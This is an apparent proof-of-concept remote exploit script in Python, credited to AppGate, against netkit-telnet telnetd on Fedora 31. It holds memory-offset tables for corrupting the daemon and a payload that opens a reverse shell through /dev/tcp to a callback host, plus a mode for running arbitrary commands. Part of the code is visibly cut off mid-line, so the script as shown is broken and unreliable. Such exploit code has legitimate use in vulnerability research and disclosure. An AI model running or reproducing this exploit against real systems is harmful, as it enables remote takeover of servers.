#!/usr/bin/env python3 # # BraveStarr # ========== # # Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd. # # This is for demonstration purposes only. It has by no means been engineered # to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot # of other constraints are not validated. # # AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer # import argparse import base64 import fcntl import gzip import socket import struct import sys import termios import time class BraveStarr(object): SE = 240 # 0xf0 DM = 242 # 0xf2 AO = 245 # 0xf5 SB = 250 # 0xfa WILL = 251 # 0xfb WONT = 252 # 0xfc DO = 253 # 0xfd IAC = 255 # 0xff TELOPT_STATUS = 5 TELOPT_TTYPE = 24 TELOPT_NAWS = 31 TELOPT_TSPEED = 32 TELOPT_XDISPLOC = 35 TELOPT_ENVIRON = 39 TELQUAL_IS = 0 TELQUAL_SEND = 1 TELQUAL_INFO = 2 NETIBUF_SIZE = 8192 NETOBUF_SIZE = 8192 # Data segment offsets of interesting variables relative to `netibuf'. netibuf_deltas = { 'loginprg': -34952, 'state_rcsid': -34880, 'subpointer': -34816, 'ptyslavefd': -34488, 'environ': -33408, 'state': -33268, 'LastArgv': -26816, 'Argv': -26808, 'remote_host_name': -26752, 'pbackp': -9232, 'nbackp': 8192 } def __init__(self, host, port=23, timeout=5, callback_host=None): self.host = host self.port = port self.sd = None self.timeout = timeout self.leak_marker = b"MARKER|MARKER" self.addresses = {} self.values = {} if callback_host is not None: self.chost = bytes(callback_host, 'ascii') def fatal(self, msg): print(msg, file=sys.stderr) sys.exit(1) def connect(self): self.sd = socket.create_connection((self.host, self.port)) # Try to ensure the remote side will read a full 8191 bytes for # `netobuf_fill' to work properly. self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191) def address_delta(self, name1, name2): return self.addresses[name1] - self.addresses[name2] def address_serialize(self, name): return struct.pack("& /dev/tcp/%s/12345 0>&1" % t.chost) print("\n\u26e4 Waiting for connect back shell") if args.method == 'shell': import telnetlib tclient = telnetlib.Telnet() tclient.sock = sd.accept()[0] tclient.interact() sd.close() elif args.method == 'command': print(f'\n\u26e4 Executing command "{args.command}"') t.exploit(bytes(args.command, 'ascii'))